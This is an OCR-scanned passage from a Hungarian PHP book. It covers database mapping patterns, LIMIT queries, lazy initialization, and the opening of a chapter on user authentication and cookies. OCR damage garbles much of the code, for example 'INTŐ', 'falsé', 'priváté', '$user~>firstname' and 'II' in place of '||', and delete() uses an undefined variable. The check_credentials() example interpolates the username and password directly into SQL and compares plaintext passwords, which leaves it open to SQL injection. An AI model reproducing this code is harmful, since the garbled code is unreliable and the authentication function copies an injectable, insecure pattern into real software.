$dbh = new DB_Mysql_Test;
$cc_query = "SELECT countrycode FROM countries WHERE name = :1";
list ($countrycode) =
$dbh->prepare($cc_query)->execute($user->countryname)
->fetch_row();
if(!$countrycode) {
throw new Exception("Invalid country specified");
}
340 PHP fejlesztés felsőfokon

$query = "INSERT INTŐ users


(username, firstname, lastname, salutation,
countrycode)
VALUES(:1, :2, :3 , :4 , : 5 ) " ;
$dbh->prepare($query)->execute($user->username, $user->firstname,
$user->lastname, $user->salutation,
$countrycode) ;
list($user->userid) =
$dbh->prepare("select last_insert_id()")->execute()
->fetch_row();
}

public static function update(User $user)


{
if ( !$user->userid) {
throw new Exception("User needs userid to call update()");
}
$dbh = new DB_Mysql_Test;
$cc_query = "SELECT countrycode FROM countries WHERE name = : 1" ;
list($countrycode) =
$dbh->prepare($cc_query)->execute($user->countryname)
->fetch_row();
if(!$countrycode) {
throw new Exception("Invalid country specified");
}
$query = "UPDATE users
SET username = :1, firstname = :2, lastname = :3,
salutation = :4, countrycode = :5
WHERE userid = :6";
$dbh->prepare($query)->execute($user->username, $user~>firstname,
$user->lastname, $user->salutation,
$countrycode, $user->userid);
}
public static function delete(User $user)
{
if(!$user->userid) {
throw new Exception("User object has no userid");
}
$query = "DELETE FROM users WHERE userid = :1";
$dbh = new DB_Mysql_Test;
$dbh->prepare($query)->execute($userid);
}
}

Figyeljük meg, hogy a User osztályt a lehető legegyszerűbben módosítottuk - eltávolítot-


tuk a $countrycode tulajdonságot, és beillesztettük a $countryname-et. Minden mun-
kát a tárolófüggvényekben végeztünk. A f indByUsername () úgy módosult, hogy ez-
12. fejezet • Adatbázisok használata 341

után nem csak a felhasználó rekordját olvassa ki, hanem megkeresi a megfelelő rekordot
a countries táblában is. Hasonlóan, az insert () és az update () tagfüggvények is
megkeresik az ország kódját, és ezt is frissítik.

A leképező minta előnyei az alábbiak:

• Példánkban a User osztály semmilyen gondot nem kellett fordítson a felhasználók


adatainak adatbázisbeli tárolására. Következésképpen ebben az osztályban semmi-
féle SQL, illetve adatbázissal foglalkozó kódnak nem kell szerepelnie. Mindez je-
lentősen megkönnyíti az SQL kód hangolását, valamint a háttéradatbázis esetleges
cseréjét.
• Példánkban a users tábla adatbázisbeli szerkezetének nem kellett igazodnia
a User osztály változásaihoz. Ez a szétválasztás lehetővé teszi, hogy az adatbázis-
fejlesztés és az alkalmazás programozása egymástól függetlenül folyhasson. Előfor-
dulhat persze, hogy az osztályszerkezet bizonyos változásai csökkentik a leképező
osztály SQL kódjainak hatékonyságát, de az adatbázis szerkezetének ezt követő új-
raépítése nem hat vissza a User osztályra.

A leképező minta hátulütője a működéséhez szükséges meglehetősen terjedelmes kör-


nyezet. Ahhoz, hogy kövessük ezt a mintát, minden összetett adattípushoz készítenünk
kell egy leképező osztályt, ami megteremti a kapcsolatot az adatbázisbeli megfelelőjével.
Nos, webes környezetben ez kissé túlzásnak tűnik. Persze, hogy mennyire túlzás, azt va-
lójában az alkalmazás mérete és bonyolultsága adja meg. Minél összetettebb objektumok-
ról és leképezésekről van szó, és minél többször hasznosítják újra a kódot, annál többet
nyerünk e rugalmas, bár nagyméretű infrastruktúrán.

Az egyesített leképező minta


Az aktív rekord minta esetében az objektum közvetlen kapcsolatban áll az adatbázissal,
vagyis tartalmazza mindazokat a tagfüggvényeket, melyek segítségével elérheti és módo-
síthatja saját megjelenítését az adatbázisban. A leképező mintában ezek a feladatok egy
külső osztályra hárulnak, ami gondokat jelenthet számos PHP alkalmazásban. Egyszerű
alkalmazásokban ugyanis egy újabb réteg, ami elválasztja az adatbázis megvalósítását az
alkalmazás kódjától, kissé túlzásnak tűnhet. Jelentős költségekkel jár, és a kódot talán túl-
ságosan is bonyolulttá teszi. Az egyesített leképező minta valamiféle kompromisszum a le-
képező és az aktív rekord minták között, amely laza csatolást létesít az osztály és a hozzá
tartozó adatbázisbeli szerkezet között úgy, hogy az adatbázis eléréséhez szükséges kódot
beépíti az osztály szerkezetébe.

íme, a User osztály megvalósítása az egyesített leképező minta szellemében:

class User {
public $userid;
public $username;
342 PHP fejlesztés felsőfokon

public $firstname;
public $lastname;
public $salutation;
public $countryname;

public function _ construct($userid = falsé)


{
$dbh = new DB_Mysql_Test;
$query = "SELECT * FROM users u, countries c
WHERE userid = :1
AND u.countrycode = c.countrycode";
$data = $dbh->prepare($query)->execute($userid)->fetch_assoc();
if(!$data) {
throw new Exception("userid does not exist");
}
$this->userid = $userid;
$this->username = $data['username'];
$this->firstname = $data['firstname'];
$this->lastname = $data['lastname'];
$this->salutation = $data['salutation'];
$this->countryname = $data['name'];
}

public static function findByUsername($username)


{
$dbh = new DB_Mysql_Test;
$query = "SELECT userid FROM users u WHERE username = :1";
list($userid) = $dbh->prepare($query)->execute($username)
«» ->fetch_row();
if(!$userid) {
throw new Exception("username does not exist");
}
return new User($userid);
}

public function update()


{
if(!$this->userid) {
throw new Exception ("User needs userid to call updateO");
}
$dbh = new DB_Mysql_Test;
$cc_query = "SELECT countrycode FROM countries WHERE name = :1";
list($countrycode) =
$dbh->prepare($cc_query)->execute($this->countryname)
*•• ->f etch_row() ;
if(!$countrycode) {
throw new Exception("Invalid country specified");
}
12. fejezet • Adatbázisok használata 343

$query = "UPDATE users


SET username = :1, firstname = :2, lastname = :3,
salutation = :4, countrycode = :5
WHERE userid = :6";
$dbh->prepare($query)->execute($this->username, $this->firstname,
$this->lastname, $this->salutation,
$countrycode, $this->userid);
}
/* frissítés és törlés */
// . . .
}

A kód meglehetősen ismerősnek tűnhet, hiszen gyakorlatilag teljesen az aktív rekord min-
ta alapján készült User osztály, valamint a UserMapper osztály adatbázis-kezelő kódjá-
nak egyesítéséből áll. Meglátásom szerint az, hogy a leképező részt az osztály belsejében
vagy különálló egységként valósítjuk meg, csak programozási stílus kérdése. Amellett,
hogy a tisztán leképező minta eleganciája vonzó számomra, az aktív rekord és az egyesí-
tett leképező minták megegyező felülete olyan egyszerűvé teszi az újraépítést, hogy mégis
ezeket alkalmazom a leggyakrabban.

Az adatbázis-elérés hatékonyságának növelése


A legtöbb olyan alkalmazás esetében, melynek fejlesztésében részt vettem, a teljesítmény
terén leginkább az adatbázis-elérés jelentette a szűk keresztmetszetet. Ennek oka egysze-
rű: számos webes alkalmazásban a tartalom dinamikus, és forrása egy adatbázisban talál-
ható. Lehet villámgyors a hálózati elérés, az adatok letöltése egy csatolón keresztül min-
dig lassabb lesz, mintha a helyi memóriából olvasnánk ki azokat. A 9., 10. és 11. fejeze-
tekben számos módszen tanultunk arra, miképpen növeljük alkalmazásaink teljesítmé-
nyét gyorstárak használatával. Akármilyen nagyszerű gyorstárakat is használunk azonban,
fontos feladatunk, hogy az adatbázis-kapcsolatokat a lehető leggyorsabbá tegyük. A kö-
vetkezőkben megismerkedünk néhány módszerrel, melyek segítenek a lekérdezések tel-
jesítményének növelésében.

Az eredményhalmaz korlátozása
A lekérdezések teljesítményének növelésére az egyik legegyszerűbb módszer az ered-
ményhalmaz korlátozása. Lássunk egy példát! Tegyük fel, hogy van egy fórumprogra-
munk, amelyben ki szeretnénk olvasni az N. és az N+M. közötti üzeneteket. A fórum ada-
tait tartalmazó tábla a következőképpen fest:
CREATE TABLE forum_entries (
id int not null autó increment,
author varchar(60) not null,
posted_at timestamp not null default now().
data text
);
344 PHP fejlesztés felsőfokon

Az üzenetek időbélyegzők szerint rendezettek-és a bejegyzések törölhetők, így nem érhe-


tünk célt, ha egyszerűen a postázási időbélyegek tartományát próbáljuk kiválasztani.
Az ilyen tartományok kiolvasására gyakran az alábbi kódot használják:

function returnEntries($start, $numrows)


{
$entries = array();
$dbh = new DB_Mysql_Test;
$query = "SELECT * FROM forum_entries ORDER BY posted_at";
$res = $dbh->execute($query);
while($data = $res->fetch_assoc()) {
if ( $i++ < $start II $i > $start + $numrows ) {
continue;
}
array_push($entries, new Entry($data));
}
return $entries;
}

A gond ezzel a módszerrel az, hogy végül azon kapjuk magunkat, hogy gyakorlatilag
a forum_entries összes sorát kiolvastuk. Még abban az esetben is, ha a keresés a $i >
$end feltétellel véget ér, a $end értékéig minden sort kiolvastunk. így ha például 10 000
fórumüzenetünk van, melyek közül a 9980-10000. sorszámúakat szeretnénk megjeleníte-
ni, meglehetősen lassú folyamat veszi kezdetét. Ha az átlagos üzenet mérete 1 KB, 10 000
ilyen üzenet kiolvasása 10 MB-nyi adat hálózati átvitelét jelenti. Nos, ez igencsak soknak
tűnik a 20 keresett bejegyzéshez képest. Ügyesebb megoldás, ha magában a lekérdezés-
ben korlátozzuk a SELECT utasítást. A MySQL-ben ez nem nehéz feladat, hiszen alkal-
mazhatjuk a SELECT utasítás LIMIT záradékát az alábbiak szerint:

function returnEntries($start, $numrows)


{
$entries = array();
$dbh = new DB_Mysql_Test;
$query = "SELECT * FROM forum_entries ORDER BY posted_at LIMIT :1, :2";
$res = $dbh->prepare($query)->execute($start, $numrows);
while($data = $res->fetch_assoc()) {
array_push($entries, new Entry($data));
}
return $entries;
}
12. fejezet • Adatbázisok használata 345

A LIMIT nem része az SQL92 szabványnak, így elképzelhető, hogy rendszerünkön nem
elérhető. Az Oracle rendszereken például az alábbihoz hasonló lekérdezést kell írnunk:
$query = "SELECT a.* FROM
(SELECT * FROM forum_entries ORDER BY posted_at) a
WHERE rownum BETWEEN :1 AND :2";

Ugyanez az okoskodás igaz a kiválasztott mezőkre is. A f orum_entries esetében való-


színűleg az összes mezőre szükségünk lesz. Máskor azonban, különösen, ha a tábla széles
(ami azt jelenti, hogy több varchar vagy LOB típusú oszlopot tartalmaz), ügyelnünk kell
arra, hogy ne olvassunk ki olyan mezőket, amelyekre semmi szükségünk.

A SELECT * használata szintén ellenjavallt, hiszen jelenléte olyan kódhoz vezethet, ami
függ az eredményként kapott sor mezőinek helyzetétől. Sajnos ezek a mezőhelyzetek
a tábla módosulásánál változhatnak (például ha egy oszlopot beillesztünk vagy eltávolí-
tunk). Ezen a gondon persze könnyen úrrá lehetünk, mindössze annyit kell tennünk,
hogy az eredményként kapott sorokat társításos tömbökbe írjuk.

Ne feledjük: bármilyen adat, amit a SELECT utasítással kapunk, át kell jöjjön a hálózaton,
és fel kell dolgozza a PHP. Azt se feledjük, hogy az eredményhalmaz mind a kiszolgálón,
mind az ügyfélgépen memóriát foglal. A hálózat és a memória költségei könnyen magassá
válhatnak, így fontos, hogy mindig tudjuk, pontosan milyen adatokat olvasunk ki.

Lusta előkészítés
A jól bevált lusta előkészítés (lazy initialization) alapja az, hogy addig nem olvassuk ki az
adatokat, amíg nincs szükségünk rájuk. Természetesen ez különösen akkor lehet hasznos,
ha a kívánt adatok átvitele költséges, és csak alkalmanként van szükség rájuk. Jó példa er-
re a keresőtáblák esete. Ha például egy kétirányú megfeleltetést szeretnénk készíteni az
országok nevei és ISO kódjai között, az alábbi Countries könyvtárat hozhatjuk létre:

class Countries {
public static $codeFrornName = array () ;
public static $nameFromCode = array();

public static function populate()


{
$dbh = new DB_Mysql_Test;
$query = "SELECT name, countrycode FROM countries";
$res = $dbh->execute($query)->fetchall_assoc();
foreach($res as $data) {
self::$codeFromName[$data['name']] = $data['countrycode'];
self::$nameFromCode[$data['countrycode']] = $data['name'];
}
}
}
Countries::populate();
346 PHP fejlesztés felsőfokon

A populate () függvényt, melynek feladata a tábla feltöltése, akkor hívjuk meg, amikor
a könyvtárat először betöltjük.

Lusta előkészítésnél az ország nevét egészen addig nem keressük meg, míg valóban nincs
rá szükség. íme egy olyan megoldás, amely elérőfüggvényeket használ a tábla feltöltésére
és az eredmények tárolására:
class Countries {
priváté static $nameFromCodeMap = array();

public static function nameFromCode($code)


{
if(!in_array($code, self : :$nameFromCodeMap)) {
$query = "SELECT name FROM countries WHERE countrycode = :1";
$dbh = new DB_Mysql_Test;
list ($name) = $dbh->prepare($query)->execute($code)
->fetch_row();
self::$nameFromCodeMap[$code] = $name;
if($name) {
self::$codeFromNameMap[$name] = $code;
}
}
return self::$nameFromCodeMap[$code];
}

public static function codeFromName($name)


{
if(!in_array($name, self::$codeFromNameMap)) {
$query = "SELECT countrycode FROM countries WHERE name = :1";
$dbh = new DB_Mysql_Test;
list ($code) = $dbh->prepare($query)->execute($name)
->fetch_row();
self::$codeFromNameMap[$name] = $code;
if($code) {
self::$nameFromCodeMap[$code] = $name;
}
}
return self::$codeFromNameMapt$name];
}
}

A lusta előkészítés másik alkalmazási területét az olyan táblák képezik, amelyek nagymé-
retű mezőket tartalmaznak. Példának okáért webnaplózó programom a bejegyzések táro-
lására az alábbi táblát használja:

CREATE TABLE entries (


id int(10) unsigned NOT NULL auto_increment,
title varchar(200) default NULL,
12. fejezet • Adatbázisok használata 347

timestamp int(10) unsigned default NULL,


body text,
PRIMARY KEY (id)
);

Készítettem egy Entry nevű, az aktív rekord mintán alapuló osztályt, ami a tábla sorainak
megjelenítéséért felel. Az Entry objektum timestamp és title mezőit gyakran haszná-
lom, de a body mezőre ritkán van szükség. így például, ha mutatót szeretnék készíteni a be-
jegyzésekből, csak a címeikre és időpontjaikra van szükség. Mivel a body mező meglehető-
sen nagy lehet, semmi értelme kiolvasni, hiszen nem is használjuk a későbbiekben. Ez külö-
nösen igaz mutatók készítésénél, amikor több tíz vagy több száz bejegyzést olvasunk ki.

Annak érdekében, hogy ezt a pazarló viselkedést elkerüljük, a body mezőt lustán készít-
jük el. Alábbi példánk a____get () és a____ set () túlterhelt tulajdonságelérő (overloaded
attribute accessor) függvényeket használja, így teljességgel elrejti a lusta előkészítést a fel-
használók elől:

class Entry {
public $id;
public $title;
public $timestamp;
priváté $_body;

public function _ construct($id = falsé)


{
if(!$id) {
return;
}
$dbh = new DB_Mysql_Test;
$query = "SELECT id, title, timestamp
FROM entries
WHERE id = : 1" ;
$data = $dbh->prepare($query)->execute($id)->fetch_assoc() ;
$this->id = $data['id'];
$this->title = $data['title'];
$this->timestamp = $data['timestamp'];
}

public function __get($name) {


if($name == 'body') {
if($this->id && !$this->_body) {
$dbh = new DB_Mysql_Test;
$query = "SELECT body FROM entries WHERE id = :1";
list($this->_body) =
$dbh->prepare($query)->execute($this->id)->fetch_row();
}
348 PHP fejlesztés felsőfokon

return $this->_body;
}
}

public function _ set($name, $value)


{
if($name == 'body') {
$this->_body = $value;
}
}
/** az aktív rekord minta update(), deleteO és insert() függvényeit
kihagytuk **/
}

Ha az Entry objektumot az id szerint példányosítjuk, a body kivételével minden mezőt


megkapunk. Mindazonáltal, ha ez utóbbi mezőt szeretnénk kiolvasni, a túlterhelt elérő-
függvények ezt megteszik, és az eredményt a privát $_body változóban tárolják. A túlter-
helt elérőfüggvények használata hihetetlenül hatékony módszer, hiszen teljességgel rejtve
marad a végfelhasználó elől, leegyszerűsítve ezzel az osztály, illetve az adatbázis esetleges
újraépítését.

További olvasmányok
Az aktív rekord és a leképező mintákat Martin Fowler Patterns of Enterprise Application
Development című könyvéből vettem, mely kedvenc olvasmányaim egyike. Nagyszerű le-
írást ad a tervezési mintákról, különösen az adatok és az objektumok közti megfelelteté-
sekben használtakról.

Az adatbázisok, sőt az SQL finomhangolása jelentősen eltérhet attól függően, hogy milyen
adatbázis-kezelő rendszert használunk, ezért mindig olvassuk el rendszerünk dokumentá-
cióját, és keressük az adott területen jónak tartott könyveket.

Jeremy Zawodny és Derek J. Balling hamarosan megjelenő High Performance MySQL


című könyve várhatóan alapmű lesz a magas szintű MySQL finomhangolás területén.
Nem szabad persze megfeledkeznünk a MySQL hálózati dokumentációjáról sem, melyet
a ht tp: / /www .mysql.com címen érhetünk el. Az Oracle-felhasználók számára kötelező
olvasmány Guy Harrison Oracle SQL High-Performance Tuning, valamint Jonathan Lewis
Practical Oracle 81: Building Efficient Databases című könyve.

Az SQL-lel általánosságban foglalkozó könyvek közül kiemelném Péter Gulutzan és Trudy


Pelzer SQL Performance Tuning című művét. (Magyarul SQL teljesítményfokozás címen,
a Kiskapu Kiadó gondozásában jelent meg.) Ebben olyan tippeket találhatunk, melyek
nyolc ismertebb relációs adatbázis-kezelő rendszer (köztük a DB2, az Oracle, az MSSQL
és a MySQL) esetében 10%-os teljesítménynövekedést garantálnak.
A felhasználók hitelesítése
és a munkamenetek biztonsága
Mindannyian tudjuk, hogy a Világháló protokollja a HTTP. Ez az a protokoll, melynek se-
gítségével a böngészők és a webkiszolgálók kicserélhetik adataikat. Minden bizonnyal ar-
ról is hallottunk, hogy a HTTP állapot nélküli protokoll. A HTTP nem őriz meg semmiféle
állapotadatot két kérelem között, valójában egy egyszerű kérelem-válasz protokoll.
Az ügyfél böngészője egy kérelmet küld a webkiszolgálónak, az válaszol rá, és ezzel az
adatcserének vége. Mindez persze azt is jelenti, hogy ha egymás után két HTTP GET pa-
rancsot adunk egy webkiszolgálónak, a protokoll semmilyen módon nem képes ezeket
egymáshoz kötni. Sokan úgy gondolják, hogy a maradandó kapcsolatok megoldást kínál-
nak erre a problémára, és lehetővé teszik, hogy megőrizzük az állapotadatokat. Sajnálatos
módon azonban ez nem igaz. Jóllehet a kapcsolat valóban kiépítve marad, a kérelmek ke-
zelése egymástól teljesen függetlenül történik.

Az állapot hiánya több alapvető gondot is felvet:

• Hitelesítés - Mivel a protokoll nem képes kapcsolatot teremteni a kérelmek között,


az A kérelem kiadójának hitelesítése után nincs módja eldönteni, hogy egy későbbi
B kérelmet ugyanaz a személy adott-e ki.
• Maradandóság - A legtöbben arra használják a Webet, hogy feladatokat végezzenek
el. A feladat természeténél fogva valaminek az állapotát próbálja megváltoztatni
(hiszen egyébként nem tennénk semmit). A kérdés csak az, miként eszközölhetünk
változtatásokat, különösen több lépésből állókat, ha nincsenek állapotok?

A fenti gondok megjelenése nagyszerűen nyomon követhető a hálózati áruházak (e-bol-


tok) példáján. Itt az alkalmazásnak hitelesítenie kell a felhasználót, hiszen pontosan tud-
nia kell, kivel áll szemben (meg kell találnia ugyanis a felhasználó személyes adatait, így
a címét, valamint a hitelkártyája számát). Léteznek továbbá olyan adatok - például a be-
vásárlókocsi tartalma - melyeket meg kell őrizni a kérelmek között.
350 PHP fejlesztés felsőfokon

A fenti gondokra a megoldást mi magunk adhatjuk meg azzal, hogy valamilyen módon
megvalósítjuk az állapotokat. Szerencsére ez nem olyan nehéz feladat, mint amilyennek
elsőre látszik. A hálózati protokollok gyakran állapotokkal rendelkező rétegekből állnak,
melyek állapot nélküliekre épülnek, illetve fordítva. így például a HTTP egy alkalmazás-
szintű protokoll (vagyis olyan, melynek segítségével két alkalmazás - a böngésző és
a webkiszolgáló - képes adatokat cserélni), ami a TCP-re épül.

A TCP ugyanakkor rendszerszintű protokoll (ami azt jelenti, hogy a végpontok operációs
rendszerek), amely rendelkezik állapotokkal. Ha két gép között létrejön egy TCP kapcso-
lat, az olyan, mint egy beszélgetés. Az üzenetek oda-vissza haladnak egészen addig, míg
az egyik résztvevő ki nem lép. A TCP az IP-re épül, ami ismét csak állapot nélküli proto-
koll. A TCP állapotait úgy valósítja meg, hogy csomagjaiban sorozatszámokat küld. Ezek
a számok (továbbá a végpontok hálózati címei) lehetővé teszik mindkét oldal számára,
hogy értesüljenek arról, ha lemaradtak a beszélgetés valamely részéről. A sorozatszámok
lehetőséget adnak egyúttal a hitelesítésre is, így mindkét oldal tudhatja, hogy folyamatosan
ugyanazzal a partnerrel beszél. Mindez persze azt is jelenti, hogy ha ezek a sorozatszámok
könnyen kitalálhatok, valaki egyszerűen bekapcsolódhat a beszélgetésbe, ha megfelelő
számokat használ. Erről az utolsó megjegyzésről ne feledkezzünk meg a későbbiekben.

Egyszerű hitelesítési sémák


A fejezetünkben felépített rendszer gyakorlatilag egy jegy alapú rendszernek felel meg.
Gondoljunk csak a sífelvonó jegyére. Amikor megérkezünk a hegyhez, vásárolunk egy fel-
vonójegyet, és feltűzzük a kabátunkra. Akárhová is megyünk, ez a jegy látható. Ha úgy
próbálunk felszállni a felvonóra, hogy nincs jegyünk, vagy van, de lejárt, vagy érvénytelen,
a kezelők visszaküldenek a bejárathoz, hogy vegyünk egy érvényes jegyet. A hamisításnak
úgy próbálnak elébe menni, hogy nehezen másolható biztonsági elemeket építenek be.

Mindenekelőtt szükségünk van arra, hogy ellenőrizzük a felhasználó kilétét. Ez a legtöbb


esetben egy felhasználónevet és egy jelszót jelent. Ezeket aztán ellenőrizhetjük egy adat-
bázisban (esetleg egy LDAP kiszolgálón vagy más módszerrel). Az alábbi függvény egy
MySQL adatbázis segítségével ellenőrzi a felhasználó adatait:

function check_credentials($name, $password) {


$dbh = new DB_Mysql_Prod();
$cur = $dbh->execute("
SELECT
userid
FROM
users
WHERE
username = ' $name'
AND password = '$password'") ;
$row = $cur->fetch_assoc() ;
13. fejezet • A felhasználók hitelesítése és a munkamenetek biztonsága 351

if($row) {
$userid = $row['userid'];
}
else {
throw new AuthException("user is not authorized") ;
}
return $userid;
}

Készíthetünk egy AuthException nevű burkoló osztályt az egyszerű kivételosztály köré,


és ennek segítségével kezelhetjük a hitelesítéshez kapcsolódó hibákat.

class AuthException extends Exception {}

Az adatok ellenőrzése azonban még csak félsiker. Szükség van egy sémára a hitelesítés
kezelésére is. Erre alapvetően három módszer áll rendelkezésünkre: az egyszerű HTTP-
hitelesítés, a lekérdezés karakterláncának csatolása, valamint a sütik használata.

Egyszerű HTTP-hitelesítés
Az egyszerű hitelesítés a HTTP-be beépítve áll rendelkezésünkre. Ha egy kiszolgáló hite-
lesítetlen kérelmet kap egy oldalhoz, a következő fejléccel válaszol:

WWW-Authenticate: Basic realm="RealmFoo"

A RealmFoo itt egy tetszőleges név, melyet a rendszer a védett névterülethez rendel.
Az ügyfél egy base 64 kódolású felhasználónév-jelszó párral válaszol, hogy hitelesítse ma-
gát. Ez az egyszerű hitelesítés jeleníti meg azt a felhasználónév/jelszó ablakot, mellyel
számos böngészőben, rengeteg webhelyen találkozhatunk. E hitelesítési módszer jelentő-
sen vesztett népszerűségéből, mióta a böngészők szélesebb körben kezdték alkalmazni
a sütiket. Az egyszerű hitelesítés legnagyobb előnye, hogy lévén HTTP szintű módszer,
használható egy webhely összes fájljának védelmére, nemcsak a PHP programokéra.
Ez a lehetőség különösen hasznos olyan webhelyeknél, melyek videókat, hangfájlokat,
vagy képeket szolgáltatnak felhasználóik számára, hiszen így egyúttal e médiafájlok vé-
delméről is gondoskodnak. Az egyszerű hitelesítésben szereplő felhasználónév és jelszó
a PHP-ben a $_SERVER [ ' PHP_AUTH_USER' ] , illetve a $_SERVER [ ' PHP_AUTH_PW' ]
alakban kerül a programhoz.

Lássunk most példát egy hitelesítő függvényre, amely ezt az egyszerű módszert alkalmazza:

function check_auth() {
try {
check_crederitials($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW']);
}
352 PHP fejlesztés felsőfokon

catch (AuthException $e) {


header('WWW-Authenticate: Basic realm="RealmFoo"');
header('HTTP/1.0 401 Unauthorized');
exit;
}
}

A lekérdezési karakterlánc csatolása

Ebben a módszerben a felhasználó adatai minden kérelemnél bekerülnek a lekérdezési


karakterláncba. Számos Java alapú munkamenet-burkoló működik így, és ezt a módszert
a PHP munkamenetmodulja is támogatja.

Jómagam ellene vagyok e módszer használatának - mindenekelőtt azért, mert hihetetle-


nül hosszú és ronda URL-eket eredményez. Egy munkamenethez rengeteg adat tartozhat,
és 100 bájt csatolása egy egyébként csinos URL-hez egyszerűen sérti a szépérzékemet.
Mindazonáltal ez nem csupán esztétikai gond. Számos keresőmotor nem képes dinamikus
URL-ek tárolására (vagyis olyan URL-ekére, melyekben lekérdezési karakterlánc paramé-
terek szerepelnek), továbbá a hosszú URL-ek kivágása és beillesztése is nehéz feladat. At-
tól függően, milyen eszközt használunk erre, megtörhet a sor, így az URL továbbítása IM-
ben (Instant Message) vagy elektronikus levélben gondokat okozhat.

A második kifogásom e módszer ellen, hogy felmerülnek bizonyos biztonsági aggályok is,
hiszen így a felhasználó munkamenetének paramétereit mások egyszerűen lemásolhatják.
Nem kell más tenni, csak kivágni és beilleszteni egy URL-t, ami tartalmazza a munkame-
net azonosítóját, így akár véletlenül is belegázolhatunk más munkájába.

Nem is töltünk el több időt e módszer tárgyalásával, de jó, ha tudjuk, hogy az esetek
többségében létezik nála biztonságosabb és elegánsabb megoldás.

Sütik használata
A Netscape 3.0 1996-os megjelenése óta a böngészők egyre nagyobb mértékben támogat-
ják a sütik használatát. Lássuk most, mit is ért a Netscape süti (cookie) alatt:

Ha a kiszolgáló egy HTTP objektumot küld egy ügyfélnek, ezzel együtt átadhat bi-
zonyos állapotadatokat is, melyeket az ügyfél tárolhat. Az átadott állapotobjektum-
ban megtalálható azon URL-ek tartománya is, ahol az állapot érvényes. Minden ezt
követő HTTP kérelem, amely az e tartományba eső ügyfelektől származik, tartal-
mazza az állapotobjektum aktuális értékét, ami így visszakerül a kiszolgálóhoz. Ezt
az állapotobjektumot hívjuk sütinek.
3. fejezet • A felhasználók hitelesítése és a munkamenetek biztonsága 353

A sütik hatalmas szolgálatot tesznek abban, hogy az állapotok fenntarthatók legyenek a ké-
relmek között. Alkalmazásuk nem korlátozódik a felhasználók egyszerű adataira és a hite-
lesítésre, hiszen bármilyen állapotjellemzők továbbíthatók bennük a kérelmek között, me-
lyek megmaradnak akkor is, ha a böngészőt időközben lekapcsolják és újraindítják.

A későbbiekben a sütik használatával kiépítünk egy hitelesítési rendszert. Igyekezetünket


érthetővé teszi az is, hogy mára a sütik használata gyakorlatilag szabvánnyá vált a HTTP
kérelmekkel végzett adatátadásban. Az alábbiakban felsoroljuk a sütik fontosabb előnyeit
az egyszerű hitelesítéssel szemben.

• Sokoldalúság - A sütik nagyszerű lehetőséget adnak arra, hogy tetszőleges adatokat


átvigyünk a kérelmek között. Az egyszerű hitelesítés éppen egyszerűsége miatt
nem képes erre.
• Maradandóság - A sütiket beállíthatjuk úgy is, hogy a munkamenetek között meg-
maradjanak a felhasználó böngészőjében. Ezt számos webhely kihasználja, így
a sütikben tárolt adatok alapján lehetővé teszi az automatikus bejelentkezést.
Ez a módszer természetesen jár bizonyos biztonsági kockázatokkal, de sok
webhely szívesen áldoz fel valamit a biztonságból a kényelem érdekében. Termé-
szetesen a felhasználók dönthetnek úgy is, hogy nem fogadnak sütiket - az pedig
a mi dolgunk, hogy milyen mértékben gondolunk rájuk.
• Esztétikusság - Az egyszerű hitelesítésnél a böngészőben egy kicsiny, egyszerű fel-
használónév/jelszó ablak jelenik meg. Ez sok esetben nem illik bele a webhely
összképébe. Saját hitelesítési eljárásokat használva nagyobb szabadságunk van
a tervezésben.

A süti alapú hitelesítés legnagyobb hátulütője, hogy nem ad egyszerű módszert a nem
PHP oldalak védelmére. Ahhoz, hogy az Apache olvasni és értelmezni tudja a sütikben tá-
rolt adatokat, szükség van egy e célra készült Apache modulra. Persze ha az egyszerű hi-
telesítés PHP megvalósításában bármilyen bonyolultabb eljárást alkalmazunk, gyakorlati-
lag ugyanoda jutunk. így végeredményben a sütik használata nem jelent túlzottan sok fö-
lös munkát.

PHP nyelvű hitelesítéskezelők


A PHP 5-ben létezik egy apache_hooks nevezetű kísérleti SÁPI, amely lehetővé teszi,
hogy teljes Apache modulokat készítsünk PHP nyelven. Segítségével olyan Apache-szintű
hitelesítéskezelőt írhatunk, melyben saját hitelesítési módszerünket alkalmazhatjuk, nem-
csak PHP oldalak esetében. Ha a modul stabil lesz, könnyen megvalósíthatunk vele bár-
milyen összetett hitelesítési módszert a webhely összes objektumára vonatkozóan.
354 PHP fejlesztés felsőfokon

Felhasználók bejegyzése
Mielőtt felhasználóink hitelesítésével kezdenénk foglalkozni, tudnunk kell, egyáltalán kik-
ről is van szó. A felhasználónévre és a jelszóra mindenképpen szükség van, de emellett
hasznos lehet, ha más adatokat is begyújtunk. Sokan főként a jó jelszó elkészítésére össz-
pontosítanak (ami, ahogy a következőkben látni fogjuk, egy nehéz, de igen fontos fel-
adat), és közben az egyedi azonosítók helyes kiválasztásával nem sokat törődnek.

Saját tapasztalataim szerint webes alkalmazásokban az e-mail cím nagyszerű egyedi azo-
nosítóként szolgál. A felhasználók többsége (eltekintve a számítógépőrültektől) egyetlen
címet használ, és ehhez csak és kizárólag ő fér hozzá. Ennek eredményeképpen az e-mail
cím tökéletes egyedi azonosítót ad. Ha a bejegyzéshez megköveteljük a visszajelzést (ami
azt jelenti, hogy a felhasználónak küldünk egy e-mailt, amelyben megmondjuk, mit kell
tennie a bejegyeztetés befejezéséhez), meggyőződhetünk róla, hogy a levélcím valóban
létezik, és a bejegyzett felhasználóhoz tartozik.

Az e-mail címek begyűjtése egyúttal lehetővé teszi a hatékony kapcsolattartást a felhasz-


nálókkal. Ha látogatóink hajlandóak leveleket fogadni tőlünk, rendszeresen tájékoztathat-
juk őket, mi történt a webhelyünkön, és egy esetleges meghibásodás esetén könnyen
küldhetünk számukra újonnan készített jelszavakat. Ezek a lehetőségek persze akkor
használhatók ki igazán hatékonyan, ha a felhasználók és az e-mail címeik között egyértel-
mű kapcsolat áll fenn.

A jelszavak védelme
A felhasználók - ilyen az emberi természet - általában rossz jelszavakat választanak. Szá-
mos tanulmány kimutatta, hogy amennyiben semmilyen módon nem korlátozzák őket,
a felhasználók olyan jelszavakat adnak meg, amik könnyedén kitalálhatok.

A hitelesítési rendszerek ellen gyakran alkalmaznak úgynevezett szótártámadást (dictio-


nary attack). Ilyenkor a kalóz rendelkezik egy nagy fájllal, melyben az általa lehetséges-
nek ítélt jelszavakat tárolja (például az angol nyelv szavainak minden lehetséges párosítá-
sát), és egy adott felhasználói azonosító esetén mindegyikükkel megkísérli a belépést.
Ez a támadás természetesen nem hatékony véletlenszerű jelszavak esetén, de hihetetlenül
sikeres olyan esetekben, amikor a rendszer lehetővé teszi, hogy a felhasználók maguk vá-
lasszák meg jelszavaikat.

